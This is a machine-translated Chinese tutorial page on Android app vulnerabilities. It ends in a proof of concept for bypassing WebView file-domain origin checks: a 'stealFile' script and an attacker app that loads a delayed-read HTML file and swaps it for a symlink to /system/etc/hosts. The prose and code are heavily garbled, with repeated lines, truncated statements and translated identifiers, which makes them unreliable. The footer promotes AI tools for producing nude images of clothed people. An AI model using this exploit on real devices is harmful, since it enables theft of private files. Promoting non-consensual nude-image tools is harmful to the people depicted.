WebView File域同源策略繞過漏洞實例分析
基本知識Android架構
Kernel核心層
漏洞危害極大,通用性強
驅動由於多而雜,也可能存在不少漏洞Libaries系統運行庫層
#系統中間件形式提供的運作庫
包括libc、 WebKit、SQLite等等AndroidRunTime
Dalvik虛擬機器和核心庫- ##FrameWork應用框架層
提供一連串的服務和API的介面
- 活動管理器
- 內容提供者
- #檢視
- 資源管理器
- #通知管理員
- Application應用程式層
- 系統應用程式
主畫面Home、聯絡人Contact、電話Phone、瀏覽器Browser
- #其他應用
開發者使用應用程式框架層的API實作的程式
- Acitivity活動
- Service服務
- BroadcastRecviver廣播接收器
- ContentProvider內容提供者
- 概述
平台功能的濫用,或未能使用平台的安全控制。如Intent誤用、權限誤用等
- 風險
很廣泛,可能涉及行動平台各服務
##舉例
iOS系統中,將密碼資料存放在本機檔案而沒有存放在金鑰鏈中,導致可以從偽加密的備份資料中讀取
Android系統中,Intent使用不當導致惡意使用者劫持修改intent的內容,以原始進程的身份權限執行任意動作不安全的資料儲存
不安全的通訊
典型漏洞及挖掘方法資料儲存漏洞
資料檔或目錄
明文儲存
MODE_PRIVATE
#明文儲存
#建立資料庫時沒有使用MODE_PRIVATE模式
建立設定檔時沒有使用MODE_PRIVATE模式,導致其他程式可以讀取設定檔
明文存儲,而root用戶可讀,導致敏感資料外洩
SharedPreferences
data/data/程式包名/shared_prefs/*.xml-
#SQLiteDatabases
data/data程式包名/database/*.db -
#InternalStorage
#data/data/程式報名/files/* ExternalStorage
/mnt/sdcard/*
#檢測方法- 瀏覽/data/data/套件名稱目錄下的各個檔案和目錄,檢查是否有others使用者可讀的檔案
-
挖掘方法 -
程式碼偵測 檢查openFileOutput、getSharedPrefreences、openOrCreateDatabase等函數的mode參數是否為MODE_PRIVATE(0x0000)
-
##資料通訊漏洞
- 使用HTTP等明文協定將敏感資訊傳送至服務端
透過區域網路嗅探、惡意公用WIFI、惡意代理服務、DNS劫持等手段擷取明文通信,產生中間人攻擊
-
SSL憑證弱校驗 搜尋.method public checkServerTrusted
定位.method和end method-
檢查是否有return-void
同理檢查verify(String, SSLSession)的回傳值是否恆為True、X509HostnameVerifier的參數是否為ALLOW_ALLHOSTNAME_VERIFIER## #############開啟Fiddler的HTTPS解析功能,產生並匯出自簽名證書,安裝到手機中############開啟Fiddler代理,並允許遠端主機連接該代理###############APP中缺乏SSL憑證的校驗 ###客戶端中應該實作X509TruestManager類,包括checkServerTrusted\checkClientTrusted\getInstance三個方法## ##########憑證校驗失敗會導致異常,然後由應用程式對憑證校驗異常進行處理#############未對伺服器憑證校驗會導致TLS中間人攻擊 ###使用HttpsURLConnection時,實作自訂HostnameVerifier過程中未對主機名稱做驗證,則預設不檢查憑證網域名稱與網站名稱是否相符。或是設定HttpsURLConnection的HostnameVerifier時,將其設為ALLOW_ALL_HOSTNAME_VERIIER則接受所有網域.############攻擊方法########################攻擊方法########################攻擊方法########################攻擊方法################ 挖礦方法# ####################SSL憑證強校驗 ###可能透過Xp、Patch等方法繞過############
元件暴露漏洞
Android:exported是四大元件中都有的屬性,用來表示是否支援其他應用程式呼叫目前元件
如果有intent-filter,預設值為true;反之預設則為false
exported匯出元件的權限控制
-
-
activity暴露後被第三方調用,可能在沒有密碼的情況下登入/重設密碼
敏感資訊外洩
-
#recviver暴露後被第三方啟動,可能會查看到偵錯等信息中所包含的敏感資訊
#越權行為
權限程式透過呼叫高權限程式暴露的元件,執行高權限動作
- ##查看AndroidManifest.xml
- 弱加密漏洞
- 反編譯、root檢視等可以取得
- AES/DES弱加密
ECB模式容易受到分析或重播攻擊
主要包含三種漏洞:
編寫遍歷物件的網頁,如果存在getClass方法則存在遠端程式碼執行漏洞
fiddler的before腳本可以讓任意webview存取任意網頁時進行測試
Android4.2以後,透過addJavascriptInterface註解的方法可被網頁中的java方法呼叫。如果未加過濾則可能存在漏洞挖掘方法:
網域控制不嚴格
- #任意程式碼執行
- setAllowFileAccessFromFileURLs
#setAllowUniversalAccessFromFileURLs(導致遠端洩漏敏感資訊) 透過符號連結攻擊可以存取本機檔案:無論怎麼限制,js都能存取本檔案的。而透過延時執行和將目前檔案替換成指向指向其他檔案的軟連線就可以讀取到被符號連結所指向的檔案
WebView如果開啟了對JavaScript的支持,同時未對file:///形式的URL做限制,則會導致coookie、私有檔案、資料庫等敏感資訊外洩-
具有root權限的攻擊者可以讀取
##密碼明文儲存
當使用者選擇儲存在WebViEW中輸入的使用者名稱和密碼時,則會被明文儲存到app目錄下的data.db中 - 漏洞挖掘流程總結
- 靜態分析 快速偵測,取得分析重點目標
檢查AndroidManifest檔案
調試模式分析
- 對疑似風險進行驗證和危害評估
drozer 抓包分析資料及介面
反分析
加密破解以及對邏輯和程式碼的進一步分析 #-
#自動化輔助系統
###MobSF 包含前端web介面,############Marvin 包含前端web介面,部署麻煩############Inspeckage Xposed外掛##################今天我們就來講WebView 的漏洞##### ##[Java] 純文字檢視 複製程式碼######?######範例程式碼位址:https://github.com/jltxgcy/AppVulnerability/tree/master/WebViewFileDemo。 ######或是我的github:https://github.com/MaxSecret/AppVulnerability/tree/master/WebViewFileDemo1#########程式碼如下程式碼主要區別在於這次載入的attack_file. html######public class MainActivity extends Activity { ####### private WebView webView; ###### private Uri mUri; ###### private Uri mUri; #### mUrl1 = "file:///android_asset/html/attack_file.html"; ###### //String mUrl2 = "file:///android_asset/html/test.html"; ###### @ Override ###### protected void onCreate(Bundle savedInstanceState) { ###### super.onCreate(savedInstanceState); webView = (WebView) findViewById(R.id.webview); ###webView.getSettings().setJavaScriptEnabled(true);
webView.addJavascriptInterface(new JSInterface(), "jsInterface");
webView.getSettings().setAllowFileAccessFromFileURLs(true);
webView.setWebChromeClient(new WebChromeClient() {
@Override #View ## String message,JsResult result) {
# //此處必要的功能
return super.onJsAlert ## });
webView.loadUrl(mUrl1);
}
## 類別 JSInterface { public String onButtonClick(String text) {# public String onButtonClick(String.
runOnUiThread(new Runnable() {
@O. # Log.e("leehong2", "onButtonClick: text = " str);
Toast.makeText(getApplicationContext(), "onButtonClick: text = " str, Toast.LTHlicationContext(), "onButtonClick: text }
# });
return " 此文字是從Java層傳回的。js text = " text;
}
public void onImageClick(String url, int width, int height) { width "高度=“高度;
Log.i("leehong2", str);
runOnUiThread(new Runnable() {
@O. # Toast.makeText(getApplicationContext(), str, Toast .LENGTH_LONG).show();
}
# });
}
}
}
這裡webView.getSettings().setAllowFileAccessFromFileURLs(true),表示可以透過javaScriptScript存取檔案檔案。
我們再看attack_file.html的程式碼:' functionstealFile() { var file = "file:///mnt/sdcard/233.txt"; var xmlHttpReq = new XMLHttpRequest(); xmlHttpReq.onreadystatechange = function(){ if(xmlHttpReq.readyState == 4){## xml.
}
}
xmlHttpReq.open("GET", file);
xmlHttpReq.send(null);
}
stealFile();
腳本>
由於setAllowFileAccessFromFileURLs為true,所以webView.load這個html可以回傳/mnt/sdcard/2333.txt的值。
# #限制如果setAllowFileAccessFromFileURLs為false,webView.load這個html不可以回傳/mnt/sdcard/2333.txt的值。
即使setAllowFileAccessFromFileURLs為false,我們透過一種方式也可以跨過這個,這個我可以跨過這個,這個我下次講講。
先執行WebViewFileDemo1,然後再執行AttackWebView來攻擊WebView。
我們先看WebViewFileDemo1,主要程式碼如下:
package com.example.webviewfiledemo; [/size][/ font][/p]
import android.app.Activity;
import android.content.Intent;
#import android.net.Uri;
#4im #import android.os.Bundle; import android.util.Log; import android.webkit.JsResult; #import android.webkit.WebChromeClient #import android.webkit.WebChromeClient ##;import android.webkit.WebView;
import android.widget.Toast;
public class MainActivity extends Activity {
private WebView webView;# # private Uri mUri;
private String url;
@Override
savedInstanceState);
setContentView(R.layout.activity_main);
webView = (WebView) findViewById(R.id.webview); webView = (WebView) findViewById(R.id.webview); );
webView.addJavascriptInterface(new JSInterface(), "jsInterface");
# web Settings ().setAllowFileAccess(false);
# webView.setWebChromeClient(new WebChromeClient() {
onJsAlert(WebView view, String url, String message, JsResult result) {
//Required functionality here
}
}) ;
Intent i = getIntent();
if (i != null) {
##c # } if (mUri != null) { url = mUri.toString(); webView.loadUrl(url); } }##} &
} 接收來自外部的Intent,提取Intent裡面的url並載入。 接著我們來看AttackWebView工程,這裡就是向com.example.webviewfiledemo.MainActivity發送Intent的工程。程式碼如下:public class MainActivity extends Activity { public final static String HTML = Wait a few seconds." "<script>" <p></p> function doitjs(){" <p></p> "var xhr = new XMLHttpRequest;" <p></p> "xhr.onload = function(){" "xhr.onload = function(){" <p></p># "d.body.appendChild(d.createTextNode(txt));" <p></p> "alert(txt);" "};" <p></p> GE URL);" <p></p> "xhr.send(null);" <p></p> " #. <p></p> <p> “腳本>” </p> <p> "</body>"; </p> <p> 公用靜態字串 MY_TMP_DIR; </p> <p> @Override </p> <p> protected void onCreate(Bundle savingInstanceState) { </p> <p> super.onCreate(savedIn</p>## super.onCreate(savedInstanceState); <p></p> setContentView(R.layout.activity_main); <p></p> MY_TMP_DIR = getDir("payload_odex", MODE_PRIVATE).getAbsolutePath(); <p></p> doit(); <p></p> } <p></p> public void doit() { <p></p> String HTML_PATH = MY_TMP_DIR "/A0" ".html"; <p></p> 嘗試 { <p></p> cmdexec("mkdir " MY_TMP_DIR); <p></p> cmdexec("echo \"" HTML "\" > " HTML_PATH); <p></p> cmdexec("chmod -R 777 " MY_TMP_DIR); <p></p> Thread.sleep(1000); <p></p> invokeVulnAPP("file://" HTML_PATH); <p></p> Thread.sleep(6000); <p></p> cmdexec("rm " HTML_PATH); <p></p> cmdexec("ln -s " "/system/etc/hosts" " " HTML_PATH); <p></p> } catch (Exception e) { <p></p> // TODO: 處理例外 <p>## # nAPP(String url) { </p> <p> 嘗試{ </p> <p> Intent Intent = new Intent(Intent.ACTION_MAIN,Uri.parse(url)); </p> <p> intent.addCategory(Intent.CATEGORY_LAUNCHER); </p> <p> intent.setClassName("com.example.webviewfiledemo", "com.example.webviewfiledemo.MainActivity"); </p> <p> startActivity(意圖); </p> <p> } catch (Exception e) { </p> <p> // TODO: 處理例外 </p>## String cmd) { <p></p> 嘗試{ <p></p> String[] tmp = 新 String[] { "/system/bin/sh", "-c", cmd }; <p></p> Runtime.getRuntime().exec(tmp); <p></p> } catch (Exception e) { <p></p> // TODO: 處理例外 <p>## ##透過invokeVulnAPP,開啟了com.example.webviewfiledemo.MainActivity並傳遞了Intent。這個Activity提取了Url,Url為/sdcard/payload_odex/A0.html,webView加載了這個html,html內容如下:</p> <p></p>public Final static String HTML = <p></p> "" <p></p> “<u>請稍等幾秒鐘。</u>” <p></p> “” <p></p> “var d = 文檔;” <p></p> “函數 doitjs(){” <p></p> “var xhr = new XMLHttpRequest;” <p><br> “xhr.onload = function(){” </p> <p> “var txt = xhr.responseText;” </p> <p> “d.body.appendChild(d.createTextNode(txt));” </p> <p> “警報(txt);” “};” </p> <p> "xhr.open('GET',d.URL);" </p> <p> “xhr.send(null);” </p> <p> “}” </p>#<p> "setTimeout(doitjs,8000);" </p> <p> "</script>"View載入A0.html後,這個html的作用是延遲8秒讀取A0.html本身。我們再回到AttackWebView工程,往下看程式碼。
cmdexec("mkdir " MY_TMP_DIR);
cmdexec("echo \"" HTML "\" > " HTML_PATH); cmdexec("echo \"" HTML "\" > " HTML_PATH); cmdexec("echo \"" HTML "\" > " HTML_PATH); cmdexec("echo \"" HTML "\" > " HTML_PATH); cmdexec("echo \"" HTML "\" > " HTML_PATH); ;
Thread.sleep(1000);
invokeVulnAPP("file://"read_PATH);
cmdexec("rm " HTML_PATH);
cmdexec("ln -s " "/system/etc/hosts" " " HTML_PATH);
#-invokeVulnAPPnAPP後,6秒後,我們用完後,我們用完後,我們用完先把A0.html刪除,再重新軟連線到/system/etc/hosts。注意此時當WebViewFileDemo1工程中webView載入A0.html,這個html的作用是延遲8秒讀取A0.html本身,所以8秒後讀取的是軟連線/system/etc/hosts 。
以上是WebView File域同源策略繞過漏洞實例分析的詳細內容。更多資訊請關注PHP中文網其他相關文章!

熱AI工具

Undresser.AI Undress
人工智慧驅動的應用程序,用於創建逼真的裸體照片

AI Clothes Remover
用於從照片中去除衣服的線上人工智慧工具。

Undress AI Tool
免費脫衣圖片

Clothoff.io
AI脫衣器

AI Hentai Generator
免費產生 AI 無盡。

熱門文章

熱工具

記事本++7.3.1
好用且免費的程式碼編輯器

SublimeText3漢化版
中文版,非常好用

禪工作室 13.0.1
強大的PHP整合開發環境

Dreamweaver CS6
視覺化網頁開發工具

SublimeText3 Mac版
神級程式碼編輯軟體(SublimeText3)

想了解更多關於開源的內容,請造訪:51CTO鴻蒙開發者社群https://ost.51cto.com運行環境DAYU200:4.0.10.16SDK:4.0.10.15IDE:4.0.600一、建立應用程式點擊File- >newFile->CreateProgect。選擇模版:【OpenHarmony】EmptyAbility:填寫項目名,shici,應用包名com.nut.shici,應用儲存位置XXX(不要有中文,特殊字符,空格)。 CompileSDK10,Model:Stage。 Device

使用Java的File.length()函數取得檔案的大小檔案大小是在處理檔案作業時很常見的一個需求,Java提供了一個很方便的方法來取得檔案的大小,即使用File類別的length()方法。本文將介紹如何使用此方法來取得檔案的大小,並給出對應的程式碼範例。首先,我們需要建立一個File物件來表示我們想要取得大小的檔案。以下是建立File物件的方法:Filef

php blob轉file的方法:1.建立一個php範例檔;2、透過「function blobToFile(blob) {return new File([blob], 'screenshot.png', { type: 'image/jpeg' })} 」方法實作Blob轉File即可。

使用Java13中的新的JavaFXWebView元件來顯示網頁內容隨著Java的不斷發展,JavaFX已成為建立跨平台圖形介面的主要工具之一。 JavaFX提供了豐富的圖形庫和元件,讓開發者能夠輕鬆地創建各種各樣的使用者介面。其中,JavaFXWebView元件是一個非常有用的元件,它允許我們在JavaFX應用程式中顯示網頁內容。在Java13中,J

使用Java的File.renameTo()函數重命名檔案在Java程式設計中,我們經常需要對檔案進行重命名的操作。 Java提供了File類別來處理檔案操作,其中的renameTo()函數可以方便地重新命名檔案。本文將介紹如何使用Java的File.renameTo()函數來重新命名文件,並提供對應的程式碼範例。 File.renameTo()函數是File類別的一個方法,

使用java的File.getParentFile()函數取得檔案的父目錄在Java程式設計中,我們經常需要操作檔案和資料夾。當我們需要取得檔案的父目錄時,可以使用Java提供的File.getParentFile()函數來完成。本文將介紹如何使用這個函數並提供程式碼範例。 Java中的File類別是用於操作檔案和資料夾的主要類別。它提供了許多方法來取得和操作文件的屬性

使用java的File.getParent()函數取得檔案的父路徑在Java程式設計中,我們經常需要操作檔案和資料夾。有時候,我們需要取得一個檔案的父路徑,也就是該檔案所在資料夾的路徑。 Java的File類別提供了getParent()方法用來取得檔案或資料夾的父路徑。 File類別是Java對檔案和資料夾的抽象表示,它提供了一系列操作檔案和資料夾的方法。其中,get

如何使用Java中的File.delete()方法刪除檔案或目錄?概述:在Java中,我們可以使用File類別的delete()方法來刪除檔案或目錄。此方法用於刪除指定的檔案或目錄。但是要注意的是,該方法只能刪除空目錄或沒有被其他程式開啟的檔案。如果檔案或目錄刪除失敗,可以透過擷取IOException異常來找出特定原因。步驟一:導入相關的套件首先,我們需要
